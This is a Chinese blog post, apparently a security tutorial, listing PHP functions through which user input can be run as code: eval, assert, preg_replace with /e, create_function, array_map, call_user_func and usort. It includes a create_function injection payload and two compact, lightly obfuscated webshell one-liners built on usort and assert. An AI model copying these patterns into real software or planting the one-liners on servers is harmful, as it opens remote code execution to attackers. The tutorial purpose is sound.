代码执行漏洞

1、漏洞形成原因

RCE为两种漏洞的缩写,分别为Remote Command/Code Execute,远程命令/代码执行。

命令注入与远程代码执行不同。他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行。 虽然最终效果都会在目标机器执行操,但是他们还是有区别的,基于这个区别,我们如何找到并利用方式也是有所不同的!

2、代码执行的几种方式

${}执行代码
eval
assert
preg_replace
create_function()
array_map()
call_user_func()/call_user_func_array()
array_filter()
usort(),uasort()

2.1、${}执行代码

方法:${php代码}

${phpinfo()};

2.2、eval()执行代码

eval('echo 2;');

2.3、assert()

普通调用

//?a=phpinfo()
<?php assert($_POST['a']);?> 

assert函数支持动态调用

//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?>

php官方在php7中更改了assert函数。在php7.0.29之后的版本不支持动态调用。

<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()

2.4、preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

preg_replace 执行一个正则表达式的搜索和替换。

执行代码需要使用/e修饰符。如果不使用/e修饰符,代码则不会执行

$a = 'phpinfo()';
$b = preg_replace("/abc/e",$a,'abcd');

2.5、create_function()

string create_function ( string $args , string $code )

该函数用来创建匿名函数。
这个函数的实现大概是这样的

$b = create_function('$name','echo $name;');
//实现
function niming($name){
echo $name;
}

$b(yang);

niming('yang');

第二个参数是执行代码的地方,将payload放在第二个参数的位置,然后调用该函数就可以执行payload了。

$a = 'phpinfo();';
$b = create_function(" ",$a);
$b();

利用:

$id=$_GET['id'];

$code = 'echo $name. '.'的编号是'.$id.'; ';

$b = create_function('$name',$code);
//实现
function niming($name){
echo $name."编号".$id;
}
$b('sd');

这里直接传入phpinfo是不行的,构造的payload

?id=2;}phpinfo();/* 

2.6、array_map()

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。
//?a=assert&b=phpinfo();
$a = $_GET['a'];
$b = $_GET['b'];
$array[0] = $b;
$c = array_map($a,$array);

2.7、call_user_func()/call_user_func_array()

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。
mixed call_user_func_array ( callable $callback , array $param_arr )
把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。
示例
call_user_func()
// ?a=phpinfo();
call_user_func(assert,$_GET['a']);

call_user_func_array()
//?a=phpinfo();
$array[0] = $_GET['a'];
call_user_func_array("assert",$array); 

2.8、array_filter()

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

示例

$array[0] = $_GET['a'];
array_filter($array,'assert');

2.9、usort()/uasort()

bool usort ( array &$array , callable $value_compare_func )
本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

2.10、shell_1

<?php
// ?1[]=test&1[]=phpinfo();&2=assert
usort(...$_GET);
?>

只有在php5.6以上环境才可使用

2.11、shell_2

下面这种写法只在php5.6版本以下可以使用。

// ?1=1+1&2=phpinfo();
usort($_GET,'asse'.'rt');
posted @ 2022-07-06 18:24  爱吃_白菜  阅读(207)  评论(0编辑  收藏  举报